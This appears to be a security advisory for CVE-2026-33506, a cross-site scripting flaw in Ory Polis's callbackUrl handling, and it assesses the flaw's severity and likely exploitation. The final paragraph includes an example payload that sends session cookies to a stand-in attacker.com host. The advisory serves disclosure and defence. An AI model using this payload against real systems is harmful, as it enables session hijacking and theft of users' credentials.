Polis CVE-2026-33506

Ory Polis versions prior to 26.2.0. Attacker crafts malicious link containing malicious callbackUrl parameter. Victim must click the link and authenticate (or be already authenticated). Executes arbitrary JavaScript in victim's browser context.

The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L indicates network-based attacks with low complexity, no privileges required, but user interaction necessary, plus scope change enabling cross-domain impact. Despite the 8.8 severity score, real-world risk is moderated by several factors: SSVC framework classifies exploitation as none with non-automatable attacks and partial technical impact, no public exploit code exists, and no CISA KEV listing confirms active exploitation. The UI:R requirement means victims must click malicious links, limiting opportunistic mass exploitation. The primary risk lies in targeted phishing campaigns against organizations using Polis for SAML authentication, where credential theft could enable lateral movement. Overall assessment: elevated risk for targeted environments but not an imminent widespread threat given current exploitation landscape.

An attacker crafts a phishing email containing a legitimate-looking Ory Polis login URL with a malicious callbackUrl parameter embedding JavaScript payload (e.g., javascript:document.location='https://attacker.com/steal?cookie='+document.cookie). When the victim clicks the link and completes authentication, the unvalidated parameter is passed to router.push, executing the attacker's script in the authenticated session context. This enables credential exfiltration, session token theft, or redirection to attacker-controlled infrastructure for further social engineering. The low attack complexity and network-based vector make this exploitable via email, messaging platforms, or compromised websites linking to vulnerable Polis instances.